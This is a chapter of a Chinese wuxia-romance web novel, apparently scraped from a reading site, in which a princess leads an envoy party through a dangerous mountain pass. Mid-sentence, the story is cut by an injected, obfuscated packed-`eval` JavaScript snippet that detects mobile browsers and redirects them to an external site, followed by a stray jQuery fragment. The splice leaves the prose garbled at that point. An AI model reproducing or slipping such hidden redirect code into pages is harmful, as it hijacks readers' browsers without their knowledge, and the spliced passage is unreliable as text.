4. 灵空栈道
作品:《西洲鸢尾》 “咕咕———”
雪鸮的叫声响起,将虞鸢从睡梦中扰醒。
“明天就拔了你的毛……”她伸出手比作剪刀状,恶狠狠地对窗边站着的猫头鹰比划过去。
“咕咕!咕……”雪鸮扑棱着翅膀,无情地嘲笑眼前的人类。
挣扎片刻后,她还是睡眼惺忪地走到花窗旁,取下了捆在雪鸮脚边的竹条。
“人间风波定,菩提众妙生。四海清平乐,天下无纷争……啧,姬苍生那个老东西,又写些什么神神叨叨的。”
秦飞镜不知何时到的,此刻正斜倚在窗前,两指并拢抽出虞鸢手中的字条,晃晃悠悠地念着。
“……不可对观主无礼。”虞鸢无奈道。
那晚的最后,她在烟花簇拥下听见秦飞镜的未竟之言,恍惚间像是荒芜之地中突然冒出一点花来,算不上绚丽,却勾的人心痒痒的。
可直至今日,秦飞镜还是没有与她解释这几年的不告而别,反倒隔三差五的来她跟前献殷勤,
就像今天这样。
雪鸮是菩提道专用的报信鸟,平日里非大事不得见,只是这封信看上去,却有些不知所云。
见她不解,秦飞镜懒洋洋地开口:“没什么玄妙的,老头夸自己呢。”
他对姬苍生的不喜并非没有缘由。
早年他跟着虞鸢在菩提混日子,时常能见到虞鸢刚拿着记载任务的对牌回来没多久,便又要提起含光剑匆匆离去。
从人迹罕至的荒漠,到极北苦寒的冰原,大多时候虞鸢不让他跟着,他就只能坐在九江渡口的芦苇荡里,有一茬没一茬地等。
运气好的时候,虞鸢全须全尾地回来,他们便拿着刚到手的赏金一起去酒楼吃顿好的;若是运气不好,他也就只能看着她满身是血,含光剑杵在地上,像一座沉默的玉雕。
“……你别添乱。”虞鸢推开他,点起烛台,将纸条放在火舌上轻轻炙烤。
不多时,有新的字迹显现。
【三日后,誉王谢瑛将于灵空栈道截杀和亲车队,万望当心。】
虞鸢转头看向秦飞镜:“誉王谢瑛?”
“啊……”秦飞镜作出一副不可思议的神态,只是他平日里慵懒随意惯了,如今这样故作姿态反而有些诙谐,“这是我们北晋最为仁善的皇室宗亲了,如何会做出这样的事情来?”
“秦将军,劳烦演的真诚一些。”虞鸢看不过眼,把纸条放在烛火上点燃后,顺手捞起烛台下边的一把灰朝他扬了过去。
秦飞镜也不躲,笑意盈盈地接着:“这是阿姐送我的礼物吗?”
“不是哦,是望舒君想要送你上路的信物。”虞鸢跟着笑了,笑意里无端显露出几分杀气。
“唉,只要阿姐想,便是要我的命,我也亲手奉上的。”秦飞镜拿捏着腔调,一声长叹。他保持着靠窗的姿势,忽而一阵风吹过,卷落了几片树上的桂花,落在头发上,倒显出几分风流落拓的意味来。
“……”
虞鸢此时才明白何为无赖者无敌。
青年今日独自前来,并没有带往常那张白羽面具,他生的风流,眉眼间温润如玉,和虞鸢记忆里有很大不同,这几天随行使团相处下来,他说话滴水不漏,行事左右逢源,更是一点点地从她印象里的少年模样抽离出去。
只是这一会,秦飞镜卸下平日的伪装,好生无赖地同她讨饶逗趣,依稀间又有了几分昔年淮山的影子。
她有些迟疑,最终还是不欲在此多做纠结。
“誉王谢瑛,你对此人,有多少了解?”她问。
“谢瑛谢秋逢啊,是一位口碑载道的老好人。”秦飞镜答,“不过仅限于他的目的。”
“他是一个目的性很强,也很明确的人。君子论迹不论心,这些年他开仓赈灾,施粥济民,也确实是做了些好事情。”
说罢,他略显嘲弄地笑了笑。
“他和四年前追杀你的人有关。”
虞鸢何等人物,寥寥数语间,她看出青年的状态有些不对劲,于是直截了当的说道。
只是这样一来,能惹得北晋亲王亲自出手追杀,对方的身世变得更加扑朔迷离了。
许是看出她的疑惑,秦飞镜笑了笑,将食指抵在唇边。
“嘘……”
“还请阿姐再等一等,等到了玉京城,我便什么都告诉你。”
*
灵空栈道位于天堑山中央的山谷中,四周峰峦耸立,常有大风刮过,在岩壁间回响,其声凄厉,哀转久绝。
“殿下,怎么走来这样一个地方呀!”春雨小声地同虞鸢埋怨着。
由于地势原因,马车难以通行,故而使团一行人皆整顿行李,轻装慢行,等到下一个城镇处再雇佣车马。
“好啦,这是边城抵达玉京的必经之路,你再忍上一会,不多时便能走出去了。”虞鸢拿起折扇敲了敲小丫头的头,语气和缓地安慰道。
春雨闻言也鼓起精神,抱着手中一小袋家伙什就要往前走,却不想前方传来一声悠悠叹息。“春雨姑娘,好福气啊。”
是秦飞镜。
虞鸢听着这人哀怨的口吻,不知他葫芦里又在卖什么药,但众人都在旁边看着,她还是多余问了一句:“将军此话怎讲。”
“能得殿下这般的明君,吃穿不愁不说,这累了怕了还有人来哄。想我三岁离家,孤身一人进入飞羽军,十几年来餐风露宿,也没个人心疼的,这可如何叫人不羡慕。”
说完,他犹嫌不够,用力眨了下眼睛,顷刻间桃花眼中似有水光闪现。
虞鸢一时语塞,偏偏旁边还有人当了真。
只见元长策也被吸引了来,甩起衣袖一抹眼角,一脸动容之相,好像当即便要同秦飞镜拜把子一般:“秦将军过往竟如此坎坷!好在如今出人头地,往后有什么事,尽管找我们这些兄弟来说!”
秦飞镜见状,满意地顺着他点了点头,末了还有意无意地朝虞鸢处一瞥,像是控诉,又像是嗔怪。
“不日便要抵达阳城了。”虞鸢却不紧不慢,像是没接到秦飞镜的眼神一样,“早听闻阳城的戏台班子北境一绝,或许会是秦将军的好去处。”
“正所谓:五陵年少争缠头,一曲红绡不知数。想来将军在那里,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274165|166668||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能成就一段佳话,此后再不用怕无人慰藉了。”
“噗嗤。”春雨一时没禁住,竟是笑出了声,拂衣也隐隐侧目,其他人赶路的赶路,望天的望天,只剩元长策一个不明就里的,看看虞鸢,看看秦飞镜,最后猛地一挠头,向前去了。
众人继续赶路。经此一遭,弥漫在山谷间的阴郁氛围消散了许多,猛烈的山风仍在冲撞岩壁,使团内有说有笑的,倒也不再心存畏惧。
只是……
“唰——”
是一支长箭。
箭长二尺有余,顶端处闪烁着锐利的星芒,死死地扎在众人前方三寸处。
“这下面压着、压着一张字条!”
说话之人是北晋的一位礼官,他原先自恃身份,一直走在队伍的前端,此刻却被吓得连连后退,话都说不利索了。
虞鸢见状稍稍点头,拂衣走上前,使了些力气把纸条抽出,上面写着:
“灵空宝地,凡人勿进。擅闯者,死!”
像是为了配合字条的内容一样,周围山谷一阵地动,霎时间飞沙走石,天昏地暗,山风叫嚣地更加凛冽了,混着猿猴的哀啼和苍鹰的嘶鸣,寒意顺着使团众人的后背攀附而上,瞬间激出一身冷汗来。
虞鸢看着纸条,不由得冷哼一声。
此时此刻秦飞镜还是带着那张白羽面具,唇角含笑;春雨吓得哆嗦却站在虞鸢的身前;拂衣漫无目的地低头摆弄衣角,好像什么事都影响不到他一般;其余人则大多是一片兵荒马乱之相。
“殿下,我们还继续走吗……”慌乱之中,有人颤颤巍巍地问。
“走。”
虞鸢掷地有声地答。
她微微抬高了音量,向着众人,“不过一陡峭山谷尔,何须害怕至此!灵空栈道千百年来多少行人走过,怎就今天我来时,这般装神弄鬼!”
因着她的话,众人稍稍镇定了些。
此时秦飞镜也缓缓开口:“殿下所言甚是。况且若真如字条所言,这是块宝地,那更该福泽于人才是,怎会如此诡谲,想来是有人假借鬼神之名在背后装神弄鬼,诸位皆是正气之人,莫要害怕。”
他的声音温润如玉,一时间如清风拂过,多少安抚了些使团内后怕的情绪。有人抄起手边的武器,当即振臂高呼:
“秦将军说得对,有殿下福泽护佑,何须畏首畏尾!”
“就是,就是啊。殿下尚且不惧,我等又怎能瞻前顾后!”
虞鸢看着他们,眼中闪过赞赏之意。
想了想,她抬头望向山谷上方,内力托举着声音,向周边扩散开来:
“我乃南越长公主,至于阁下何许人……”她有些轻蔑地笑了笑,而后继续道,“我并不关心。”
“现下予尔三息时间,就此离开,还能留得一条性命。”
“倘若有违……那便当如此箭吧。”
她随手抽出身边一位军士的佩剑,剑光闪过,地面尘土飞扬,等到尘埃落定之时,原先长箭射落的地方,只余下几段断裂的箭身。
玄铁锻造的箭尖,竟是在那一瞬的内劲之下,化为齑粉了。